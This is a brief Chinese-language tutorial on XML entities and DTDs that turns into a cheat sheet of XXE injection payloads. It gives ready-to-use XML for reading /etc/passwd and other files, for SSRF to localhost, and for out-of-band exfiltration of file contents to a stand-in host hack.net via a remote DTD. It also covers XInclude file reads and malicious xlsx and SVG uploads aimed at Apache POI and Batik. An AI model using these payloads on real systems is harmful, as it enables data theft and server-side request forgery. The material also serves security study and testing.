XML基础

XML是一种被设计用来存储和传输数据的语言,叫作可扩展标记语言,通过自定义标签的形式描述数据。

XML实体

为了区分开表示数据的尖括号和表示结构的标签,在数据中用<>这类预定义的XML实体来表示左右尖括号。

DTD

XML通过头部的DTD(文档类型定义)来定义文档结构,实际内容直接写在文档里的DTD叫作内部DTD,实际内容放在外面,要通过引用加载的DTD叫作外部DTD,二者可以在XML中混用。

自定义实体

如果预定义的XML实体不够用,就可以自定义新的XML实体:

<!DOCTYPE test [ <!ENTITY id "hosch3n" > ]>

这样就可以用&id;表示hosch3n这个值。

外部实体

自定义实体的实际内容不一定要写在DTD里,也可以写在外面然后通过引用加载:

<!DOCTYPE test [ <!ENTITY ext SYSTEM "http://xxx.com" > ]>

  • 支持http、ftp、file等协议

XXE注入

读文件

1
2
3
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

&xxe;

SSRF

1
2
3
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://127.0.0.1/"> ]>

&xxe;

OAST

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://hack.net/?x=%file;'>">
%eval;
%exfiltrate;
1
2
<!DOCTYPE test [<!ENTITY % xxe SYSTEM
"http://hack.net/hack.dtd"> %xxe;]>

XInclude

  • 数据在服务器端拼接进XML文档
1
<test xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></test>

Apache POI

  • 文件上传xlsx文档
1
2
# xxe.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://hack.net/?%file;'>">
1
2
3
4
5
6
7
8
9
# [Content_Types].xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://hack.net/xxe.dtd">
%remote;
%all;
]>
<root>&send;</root>

ZIP压缩后改后缀为xlsx

Apache Batik

  • 文件上传SVG头像
1
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>